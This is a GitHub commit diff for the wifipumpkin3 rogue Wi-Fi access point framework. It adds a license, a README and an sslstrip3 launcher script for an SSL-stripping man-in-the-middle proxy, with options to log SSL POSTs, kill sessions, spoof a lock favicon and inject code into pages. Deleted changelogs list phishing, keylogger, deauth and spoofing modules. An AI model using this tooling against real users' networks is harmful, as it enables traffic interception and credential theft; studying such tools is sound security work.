Merge pull request #2 from mh4x0f/beta

bump version to dev
This commit is contained in:
Marcos Bomfim 2020-03-15 01:17:35 -03:00 committed by GitHub
commit 4db70a42e0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
142 changed files with 2111 additions and 1386 deletions

201
LICENSE.md Normal file
View File

@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

1
README.md Normal file
View File

@ -0,0 +1 @@
# wifipumpkin3

126
bin/sslstrip3 Normal file
View File

@ -0,0 +1,126 @@
#!/usr/bin/env python3.6
"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks."""
__author__ = "Moxie Marlinspike"
__email__ = "moxie@thoughtcrime.org"
__license__= """
Copyright (c) 2004-2009 Moxie Marlinspike <moxie@thoughtcrime.org>
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 3 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA
"""
from twisted.web import http
from twisted.internet import reactor
from wifipumpkin3.plugins.external.sslstrip.StrippingProxy import StrippingProxy
from wifipumpkin3.plugins.external.sslstrip.URLMonitor import URLMonitor
from wifipumpkin3.plugins.external.sslstrip.CookieCleaner import CookieCleaner
from wifipumpkin3.plugins.external.sslstrip.ResponseTampererFactory import ResponseTampererFactory
from wifipumpkin3.plugins.external.sslstrip.PluginsManager import PluginsManager
from wifipumpkin3.plugins.extension import *
import sys, getopt, logging, traceback, string, os
gVersion = "0.9"
def usage():
print("\nsslstrip " + gVersion + " by Moxie Marlinspike (mh4x0f)")
print("Fork: https://github.com/mh4x0f/sslstrip3")
print("Usage: sslstrip <options>\n")
print("Options:")
print("-w <filename>, --write=<filename> Specify file to log to (optional).")
print("-p , --post Log only SSL POSTs. (default)")
print("-s , --ssl Log all SSL traffic to and from server.")
print("-a , --all Log all SSL and HTTP traffic to and from server.")
print("-l <port>, --listen=<port> Port to listen on (default 10000).")
print("-f , --favicon Substitute a lock favicon on secure requests.")
print("-k , --killsessions Kill sessions in progress.")
print("-t <config>, --tamper <config> Enable response tampering with settings from <config>.")
print("-i , --inject Inject code into HTML pages using a text file.")
print("-h print(this help message.")
print("")
def parseOptions(argv):
logFile = 'sslstrip.log'
logLevel = logging.WARNING
listenPort = '8080'
spoofFavicon = False
killSessions = False
tamperConfigFile = False
injectFile = False
try:
opts, args = getopt.getopt(argv, "hw:l:psafkt:i:",
["help", "write=", "post", "ssl", "all", "listen=",
"favicon", "killsessions", "tamper=", "inject"])
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-w", "--write"):
logFile = arg
elif opt in ("-p", "--post"):
logLevel = logging.WARNING
elif opt in ("-s", "--ssl"):
logLevel = logging.INFO
elif opt in ("-a", "--all"):
logLevel = logging.DEBUG
elif opt in ("-l", "--listen"):
listenPort = arg
elif opt in ("-f", "--favicon"):
spoofFavicon = True
elif opt in ("-k", "--killsessions"):
killSessions = True
elif opt in ("-t", "--tamper"):
tamperConfigFile = arg
elif opt in ("-i", "--inject"):
injectFile = arg
return (logFile, logLevel, listenPort, spoofFavicon, killSessions, tamperConfigFile, injectFile)
except getopt.GetoptError:
usage()
sys.exit(2)
def main(argv):
(logFile, logLevel, listenPort, spoofFavicon, killSessions, tamperConfigFile, injectFile) = parseOptions(argv)
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)
ResponseTampererFactory.buildTamperer(tamperConfigFile)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(8080, strippingFactory)
print("\nsslstrip " + gVersion + " by Moxie Marlinspike running...")
plugins_manager = PluginsManager.getInstance()
all_plugins = base.BasePumpkin.__subclasses__()
for p in all_plugins:
plugins_manager.plugins = p
reactor.run()
if __name__ == '__main__':
main(sys.argv[1:])

View File

@ -5,17 +5,18 @@ getLogger('scapy.runtime').setLevel(ERROR)
import argparse
import sys
from PyQt5 import QtGui,QtCore
from core.main import PumpkinShell
from core.utility.printer import banner, setcolor
from core.packets.dhcpserver import IpAddressClass
from core.utility.collection import SettingsINI
import core.utility.constants as C
from wifipumpkin3.core.main import PumpkinShell
from wifipumpkin3.core.utility.printer import banner, setcolor
from wifipumpkin3.core.packets.dhcpserver import IpAddressClass
from wifipumpkin3.core.utility.collection import SettingsINI
import wifipumpkin3.core.utility.constants as C
_author = ('{}'.format(setcolor('@mh4x0f',color='yellow')))
_version = setcolor('0.1',color='yellow')
__codename__ = setcolor('sab1no',color='red')
banner(__codename__)
if __name__ == '__main__':
app = QtCore.QCoreApplication(sys.argv)
conf = SettingsINI(C.CONFIG_INI)

View File

@ -114,7 +114,7 @@ log_colorize=true
log_serialize=true
mdk3=a -a m -t
mdk3_deauth=false
redirect_port=10000
sslstrip_redirect_port=8080
scan_airodump=true
scan_scapy=false
scanner_rangeIP=0-255

View File

@ -1,177 +0,0 @@
master:
[
{ Version: '0.8.5'}
{ changelog : 'added new plugin TCP-Proxy' },
{ changelog : 'added capture image HTTP request (Tab ImageCap)' },
{ changelog : 'added new HTTP-request widgets get info from Headers requests' },
{ changelog : 'added new columm (url) on HTTP-Authentication' },
{ changelog : 'added now WF allow to start without internet connection' },
{ changelog : 'added option that exclude USB card on start' },
{ changelog : 'added support to use 2 wireless cards #211' },
{ changelog : 'remove netcreds plugin thks for all DanMcInerney' },
{ changelog : 'added Python DNS Server improvements #165' },
{ changelog : 'added new style in progressbar on home' },
{ changelog : 'fixed possible bug when start AP with interface wlanx' },
{ changelog : 'fixed exit app when exclude USB adapter' },
{ changelog : 'fixed Network-ManagerUI again' },
{ changelog : 'fixed error: iptables Bad argument' },
{ changelog : 'added option for check network connection Tab->Settings' },
{ changelog : 'fixed error TCP-Proxy plugin imageCap #218' },
{ changelog : 'fixed possible error [Errno 2] No such file or directory #217' },
{ changelog : 'fixed replace bs4 to BeautifulSoup #228' },
{ changelog : 'fixed argument for 's' must be a string #232 thanks @okazymyrov' },
{ changelog : 'fixed IndexError: Layer [Raw] not found #234' },
{ changelog : 'added option for restore NM USB adpater after app closed #239' },
{ changelog : 'moved option settings -> Menu File' },
{ changelog : 'fixed hide error sslstrip exceptions.RuntimeError' },
{ changelog : 'fixed [Errno socket error] [Errno -2] Name or service not known #252' },
{ changelog : 'fixed control lock/unlock plugins tabs when changes options' },
{ changelog : 'fixed PhishingManager error when try shutdown httpd server' },
{ changelog : 'fixed Windows UpdateFake modules' },
{ changelog : 'fixed check return is NoneType from function get_interface_mac' },
{ changelog : 'fixed No such file or directory dhcpd.conf #266' },
{ changelog : 'fixed Wireless Deauth module scan network with airodump-ng' },
{ changelog : 'added plugin PumpkinProxy: disable browser caching, cache-control in HTML' },
{ changelog : 'added constants into a separate module [more modular design]' },
{ changelog : 'fixed pumpking-proxy all plugins inject page #272' },
{ changelog : 'fixed issue #273' },
{ changelog : 'fixed function get ipaddress by interface' },
{ changelog : 'added new colorQListWidget [hover, selection]' },
{ changelog : 'added new design Qtableview for default theme' },
{ changelog : 'added hostapd option BSSID configuration [Settings TAB]' },
{ changelog : 'added show security password type option [Settings TAB]' },
{ changelog : 'fixed dhcpserver exception try get hostname device #277' },
{ changelog : 'fixed set border just table home in default theme' },
{ changelog : 'added Qapplication: allow only one instance of WP to run' },
{ changelog : 'fixed dhcpd server error cant read file or directory' },
{ changelog : 'removed monitors views [dns2proxy,urlcreds,credentials]' },
{ changelog : 'added dashboard infor [uptime,threads,AP info] in tab home' },
{ changelog : 'added more code organization in file main.py' },
{ changelog : 'fixed bug not working as expected #279' },
{ changelog : 'fixed small bug with Table when add new users' },
{ changelog : 'added new icon WiFi-Pumpkin' },
{ changelog : 'fixed group all object PyQt4 [QtGui,QtCore]' },
{ changelog : 'fixed except when try import QtGui' },
{ changelog : 'fixed detect if range ip class is same the [DHCP Server] #285' },
{ changelog : 'fixed import QtGui thanks @Brain2000 #282' },
{ changelog : 'fixed redirect Traffic from all domain [dns spoof] #296' },
{ changelog : 'added run WP without mitmproxy packager #309' },
{ changelog : 'fixed cryptography kali 2017.3 thanks @yudevan #315' },
]
WiFiPumpkin084:
[
{ Version: '0.8.4'}
{ changelog : 'added new plugin Pumpkin-Proxy (mitmproxy API)' },
{ changelog : 'added new notifications for donations' },
{ changelog : 'fixed theme default QtableView Color hover' },
{ changelog : 'fixed logging name from jskeylogger plugin' },
{ changelog : 'fixed exclude from Network-manager by interface #149' },
{ changelog : 'added tables for logging plugins HTTP-request, PumpkinProxy, HTTP-auth' },
{ changelog : 'fixed set the application GUI style QStyleFactory #151' },
{ changelog : 'added enable/disable Wireless Security WPA Shared Key on Settings Tab' },
{ changelog : 'fixed responder is not starting #162' },
{ changelog : 'fixed class DNSServer resolver domain (DNS Response)' },
{ changelog : 'fixed no Internet Connection AP DNSServer #164' },
{ changelog : 'fixed enable Copy/edit row from HTTP-Requests Tables #167' },
{ changelog : 'fixed update Responder and fixed SSL server on port 443 #166' },
{ changelog : 'Added Key checking' },
{ changelog : 'Added WEP support' },
{ changelog : 'fixed update version mitmproxy 0.17 to 0.18.2 #195' },
{ changelog : 'fixed dnsspoof module to redirect with plugin disabled' },
{ changelog : 'fixed ARPspoof module get MAC address by interface' },
{ changelog : 'added support for update requeriments.txt when get news versions' },
]
WiFiPumpkin083:
[
{ Version: '0.8.3'}
{ changelog : 'added new design main tool' },
{ changelog : 'added new column VendorMac in man Table' },
{ changelog : 'added set sorted in all Tablewidget' },
{ changelog : 'added new plugins options and description' },
{ changelog : 'added more options in statusbar main' },
{ changelog : 'fixed allow traffic to/from wlan (iptables)' },
{ changelog : 'added find file in directory cfg for check update' },
{ changelog : 'changed the all directory structure characters to lowercase' },
{ changelog : 'fixed No such file or directory [logs] #102' },
{ changelog : 'fixed Error nmcli exceptions.OSError #104' },
{ changelog : 'added error messages more explained ' },
{ changelog : 'added option to set Hostapd binary path (support hostapd-mana)' },
{ changelog : 'fixed improvements fuctions get_interfaces #109' },
{ changelog : 'added new plugin Responder (LLMNR, NBT-NS and MDNS poisoners)' },
{ changelog : ' fixed Redirect traffic from all domains in dnsspoof module' },
{ changelog : 'removed isc-dhcp-server(dhcpd) from dedependencies (optinal)' },
{ changelog : 'added check if interface wireless support AP/Mode' },
{ changelog : 'added python implements a DHCP Server by psychomario' },
{ changelog : 'fixed installer:install mitmproxy in ubuntu' },
{ changelog : 'added function: get possible errors from hostapd service' },
{ changelog : 'fixed get_file_cfg_Update: get update from github ' },
{ changelog : 'fixed DNSServer: closes itself with this error #116' },
{ changelog : 'fixed report.py: check if module QtWebKit is installed #120' },
{ changelog : 'fixed removed Tool->Ettercap' },
{ changelog : 'added function for kill processes are keeping the interface busy #137' },
]
WiFiPumpkin081:
[
{ Version: '0.8.1'}
{ changelog : 're-design all GUI Menu->view' },
{ changelog : 'added new report logger GUI' },
{ changelog : 'added new sessions for Rogue AP loggers' },
{ changelog : 'added new plugin BDFProxy-ng' },
{ changelog : 'fixed error logger files hostapd, requests' },
{ changelog : 'added new theme Orange and set as default' },
{ changelog : 'fixed error when launch airodump-ng scan the wireless networks #75' },
{ changelog : 'fixed IndexError: list index out of range on BDFProxy get_output #77' },
{ changelog : 'added new re-design module Deauth Attack' },
{ changelog : 'added some improvements in module Probe Wireless Request #78' },
{ changelog : 'added option: exclude USB Wi-Fi Adapter in NetworkManager persistently #69' },
{ changelog : 'added Documenting Code, fixed get device hostname from dhcpd' },
{ changelog : 'removed pledgie campaign and added only PayPal' },
{ changelog : 'fixed setup_logger in module PhishingManager' },
{ changelog : 'fixed redirect all HTTP with DNSSpoof when AP is enabled' },
{ changelog : 'fixed PhishingManager SetEnv path not working with dnsspoof #90' },
]
WiFiPumpkin078:
[
{ Version: '0.7.8'}
{ changelog : 'moved ProgressBar to StatusBar' },
{ changelog : 'fixed thread scanner IP in Modules::DNS,ARP spoof' },
{ changelog : 'changed plugins options to sslstrip/dns2proxy, sslstrip/sergio-proxy' },
{ changelog : 'added option run AP without Proxy' },
{ changelog : 'added donate options' },
{ changelog : 'added ThreadHTTPServerPhishing in Module::UpdateFake' },
{ changelog : 'fixed PhishingManager::ServerThreadHTTP errno 98 address already in use' },
{ changelog : 'fixed duplicate logging::setup_logger when run more than once' },
{ changelog : 'fixed Thread::sslstrip added Reactor.run() to Threads' },
{ changelog : 'fixed error when running ettercap and driftnet in menu::tools #67' },
{ changelog : 'fixed directory module in ThreadHTTPServerPhishing' },
{ changelog : 'fixed domain-name-servers in dhcpd server' },
{ changelog : 'fixed re-design Modules DNS spoof, Update Fake Attack' },
{ changelog : 'added new module DNS spoof with NetfilterQueue' },
{ changelog : 'added support Parrot 3.0.1 to use AP with wireless connection #69' },
]
WiFiPumpkinv075:
[
{ Version: '0.7.5'}
{ changelog : 'fixed size QTableWidget on modules' },
{ changelog : 'fixed scanner fast ipaddress devices local' },
{ changelog : 'added new QSettings Core/modules::Configure' },
{ changelog : 'added mac address interface to exclude NetworkManager' },
{ changelog : 'added dockArea Monitor -> Pumpkin-Settings' },
{ changelog : 'added progressBar for starting Thread' },
{ changelog : 'added support to start AP with wireless connection' },
{ changelog : 'fixed Qwidgets which already has a layout, add Exception get_network_scan() #36' },
{ changelog : 'fixed error when executed from symlink file #50' },
{ changelog : 'fixed error: too many open files, added ulimit' },
{ changelog : 'added Tab Pump-Settings -> Class Ranges options' },
{ changelog : 'fixed Pump-Settings->Advanced Mode:: allow run after started AP' },
{ changelog : 'some improvements on module DnsSpoof,ArpPoison and Core::main closeEvent' },
{ changelog : 'fixed error on "Settings" option #58' },
{ changelog : 'added Qprocess into Threads::Process,fixed run plugin::dns2proxy' },
{ changelog : 'fixed error Advanced Mode::monitor crashed application #60' },
{ changelog : 'added QScrollArea on Settings::General, About::ThanksTo' },
]

View File

@ -1,177 +0,0 @@
master:
[
{ Version: '0.8.5'}
{ changelog : 'added new plugin TCP-Proxy' },
{ changelog : 'added capture image HTTP request (Tab ImageCap)' },
{ changelog : 'added new HTTP-request widgets get info from Headers requests' },
{ changelog : 'added new columm (url) on HTTP-Authentication' },
{ changelog : 'added now WF allow to start without internet connection' },
{ changelog : 'added option that exclude USB card on start' },
{ changelog : 'added support to use 2 wireless cards #211' },
{ changelog : 'remove netcreds plugin thks for all DanMcInerney' },
{ changelog : 'added Python DNS Server improvements #165' },
{ changelog : 'added new style in progressbar on home' },
{ changelog : 'fixed possible bug when start AP with interface wlanx' },
{ changelog : 'fixed exit app when exclude USB adapter' },
{ changelog : 'fixed Network-ManagerUI again' },
{ changelog : 'fixed error: iptables Bad argument' },
{ changelog : 'added option for check network connection Tab->Settings' },
{ changelog : 'fixed error TCP-Proxy plugin imageCap #218' },
{ changelog : 'fixed possible error [Errno 2] No such file or directory #217' },
{ changelog : 'fixed replace bs4 to BeautifulSoup #228' },
{ changelog : 'fixed argument for 's' must be a string #232 thanks @okazymyrov' },
{ changelog : 'fixed IndexError: Layer [Raw] not found #234' },
{ changelog : 'added option for restore NM USB adpater after app closed #239' },
{ changelog : 'moved option settings -> Menu File' },
{ changelog : 'fixed hide error sslstrip exceptions.RuntimeError' },
{ changelog : 'fixed [Errno socket error] [Errno -2] Name or service not known #252' },
{ changelog : 'fixed control lock/unlock plugins tabs when changes options' },
{ changelog : 'fixed PhishingManager error when try shutdown httpd server' },
{ changelog : 'fixed Windows UpdateFake modules' },
{ changelog : 'fixed check return is NoneType from function get_interface_mac' },
{ changelog : 'fixed No such file or directory dhcpd.conf #266' },
{ changelog : 'fixed Wireless Deauth module scan network with airodump-ng' },
{ changelog : 'added plugin PumpkinProxy: disable browser caching, cache-control in HTML' },
{ changelog : 'added constants into a separate module [more modular design]' },
{ changelog : 'fixed pumpking-proxy all plugins inject page #272' },
{ changelog : 'fixed issue #273' },
{ changelog : 'fixed function get ipaddress by interface' },
{ changelog : 'added new colorQListWidget [hover, selection]' },
{ changelog : 'added new design Qtableview for default theme' },
{ changelog : 'added hostapd option BSSID configuration [Settings TAB]' },
{ changelog : 'added show security password type option [Settings TAB]' },
{ changelog : 'fixed dhcpserver exception try get hostname device #277' },
{ changelog : 'fixed set border just table home in default theme' },
{ changelog : 'added Qapplication: allow only one instance of WP to run' },
{ changelog : 'fixed dhcpd server error cant read file or directory' },
{ changelog : 'removed monitors views [dns2proxy,urlcreds,credentials]' },
{ changelog : 'added dashboard infor [uptime,threads,AP info] in tab home' },
{ changelog : 'added more code organization in file main.py' },
{ changelog : 'fixed bug not working as expected #279' },
{ changelog : 'fixed small bug with Table when add new users' },
{ changelog : 'added new icon WiFi-Pumpkin' },
{ changelog : 'fixed group all object PyQt4 [QtGui,QtCore]' },
{ changelog : 'fixed except when try import QtGui' },
{ changelog : 'fixed detect if range ip class is same the [DHCP Server] #285' },
{ changelog : 'fixed import QtGui thanks @Brain2000 #282' },
{ changelog : 'fixed redirect Traffic from all domain [dns spoof] #296' },
{ changelog : 'added run WP without mitmproxy packager #309' },
{ changelog : 'fixed cryptography kali 2017.3 thanks @yudevan #315' },
]
WiFiPumpkin084:
[
{ Version: '0.8.4'}
{ changelog : 'added new plugin Pumpkin-Proxy (mitmproxy API)' },
{ changelog : 'added new notifications for donations' },
{ changelog : 'fixed theme default QtableView Color hover' },
{ changelog : 'fixed logging name from jskeylogger plugin' },
{ changelog : 'fixed exclude from Network-manager by interface #149' },
{ changelog : 'added tables for logging plugins HTTP-request, PumpkinProxy, HTTP-auth' },
{ changelog : 'fixed set the application GUI style QStyleFactory #151' },
{ changelog : 'added enable/disable Wireless Security WPA Shared Key on Settings Tab' },
{ changelog : 'fixed responder is not starting #162' },
{ changelog : 'fixed class DNSServer resolver domain (DNS Response)' },
{ changelog : 'fixed no Internet Connection AP DNSServer #164' },
{ changelog : 'fixed enable Copy/edit row from HTTP-Requests Tables #167' },
{ changelog : 'fixed update Responder and fixed SSL server on port 443 #166' },
{ changelog : 'Added Key checking' },
{ changelog : 'Added WEP support' },
{ changelog : 'fixed update version mitmproxy 0.17 to 0.18.2 #195' },
{ changelog : 'fixed dnsspoof module to redirect with plugin disabled' },
{ changelog : 'fixed ARPspoof module get MAC address by interface' },
{ changelog : 'added support for update requeriments.txt when get news versions' },
]
WiFiPumpkin083:
[
{ Version: '0.8.3'}
{ changelog : 'added new design main tool' },
{ changelog : 'added new column VendorMac in man Table' },
{ changelog : 'added set sorted in all Tablewidget' },
{ changelog : 'added new plugins options and description' },
{ changelog : 'added more options in statusbar main' },
{ changelog : 'fixed allow traffic to/from wlan (iptables)' },
{ changelog : 'added find file in directory cfg for check update' },
{ changelog : 'changed the all directory structure characters to lowercase' },
{ changelog : 'fixed No such file or directory [logs] #102' },
{ changelog : 'fixed Error nmcli exceptions.OSError #104' },
{ changelog : 'added error messages more explained ' },
{ changelog : 'added option to set Hostapd binary path (support hostapd-mana)' },
{ changelog : 'fixed improvements fuctions get_interfaces #109' },
{ changelog : 'added new plugin Responder (LLMNR, NBT-NS and MDNS poisoners)' },
{ changelog : ' fixed Redirect traffic from all domains in dnsspoof module' },
{ changelog : 'removed isc-dhcp-server(dhcpd) from dedependencies (optinal)' },
{ changelog : 'added check if interface wireless support AP/Mode' },
{ changelog : 'added python implements a DHCP Server by psychomario' },
{ changelog : 'fixed installer:install mitmproxy in ubuntu' },
{ changelog : 'added function: get possible errors from hostapd service' },
{ changelog : 'fixed get_file_cfg_Update: get update from github ' },
{ changelog : 'fixed DNSServer: closes itself with this error #116' },
{ changelog : 'fixed report.py: check if module QtWebKit is installed #120' },
{ changelog : 'fixed removed Tool->Ettercap' },
{ changelog : 'added function for kill processes are keeping the interface busy #137' },
]
WiFiPumpkin081:
[
{ Version: '0.8.1'}
{ changelog : 're-design all GUI Menu->view' },
{ changelog : 'added new report logger GUI' },
{ changelog : 'added new sessions for Rogue AP loggers' },
{ changelog : 'added new plugin BDFProxy-ng' },
{ changelog : 'fixed error logger files hostapd, requests' },
{ changelog : 'added new theme Orange and set as default' },
{ changelog : 'fixed error when launch airodump-ng scan the wireless networks #75' },
{ changelog : 'fixed IndexError: list index out of range on BDFProxy get_output #77' },
{ changelog : 'added new re-design module Deauth Attack' },
{ changelog : 'added some improvements in module Probe Wireless Request #78' },
{ changelog : 'added option: exclude USB Wi-Fi Adapter in NetworkManager persistently #69' },
{ changelog : 'added Documenting Code, fixed get device hostname from dhcpd' },
{ changelog : 'removed pledgie campaign and added only PayPal' },
{ changelog : 'fixed setup_logger in module PhishingManager' },
{ changelog : 'fixed redirect all HTTP with DNSSpoof when AP is enabled' },
{ changelog : 'fixed PhishingManager SetEnv path not working with dnsspoof #90' },
]
WiFiPumpkin078:
[
{ Version: '0.7.8'}
{ changelog : 'moved ProgressBar to StatusBar' },
{ changelog : 'fixed thread scanner IP in Modules::DNS,ARP spoof' },
{ changelog : 'changed plugins options to sslstrip/dns2proxy, sslstrip/sergio-proxy' },
{ changelog : 'added option run AP without Proxy' },
{ changelog : 'added donate options' },
{ changelog : 'added ThreadHTTPServerPhishing in Module::UpdateFake' },
{ changelog : 'fixed PhishingManager::ServerThreadHTTP errno 98 address already in use' },
{ changelog : 'fixed duplicate logging::setup_logger when run more than once' },
{ changelog : 'fixed Thread::sslstrip added Reactor.run() to Threads' },
{ changelog : 'fixed error when running ettercap and driftnet in menu::tools #67' },
{ changelog : 'fixed directory module in ThreadHTTPServerPhishing' },
{ changelog : 'fixed domain-name-servers in dhcpd server' },
{ changelog : 'fixed re-design Modules DNS spoof, Update Fake Attack' },
{ changelog : 'added new module DNS spoof with NetfilterQueue' },
{ changelog : 'added support Parrot 3.0.1 to use AP with wireless connection #69' },
]
WiFiPumpkinv075:
[
{ Version: '0.7.5'}
{ changelog : 'fixed size QTableWidget on modules' },
{ changelog : 'fixed scanner fast ipaddress devices local' },
{ changelog : 'added new QSettings Core/modules::Configure' },
{ changelog : 'added mac address interface to exclude NetworkManager' },
{ changelog : 'added dockArea Monitor -> Pumpkin-Settings' },
{ changelog : 'added progressBar for starting Thread' },
{ changelog : 'added support to start AP with wireless connection' },
{ changelog : 'fixed Qwidgets which already has a layout, add Exception get_network_scan() #36' },
{ changelog : 'fixed error when executed from symlink file #50' },
{ changelog : 'fixed error: too many open files, added ulimit' },
{ changelog : 'added Tab Pump-Settings -> Class Ranges options' },
{ changelog : 'fixed Pump-Settings->Advanced Mode:: allow run after started AP' },
{ changelog : 'some improvements on module DnsSpoof,ArpPoison and Core::main closeEvent' },
{ changelog : 'fixed error on "Settings" option #58' },
{ changelog : 'added Qprocess into Threads::Process,fixed run plugin::dns2proxy' },
{ changelog : 'fixed error Advanced Mode::monitor crashed application #60' },
{ changelog : 'added QScrollArea on Settings::General, About::ThanksTo' },
]

View File

@ -1,87 +0,0 @@
from core.config.globalimport import *
from collections import OrderedDict
from functools import partial
from threading import Thread
import queue
from scapy.all import *
import logging
#from plugins.analyzers import *
import core.utility.constants as C
from core.common.platforms import setup_logger
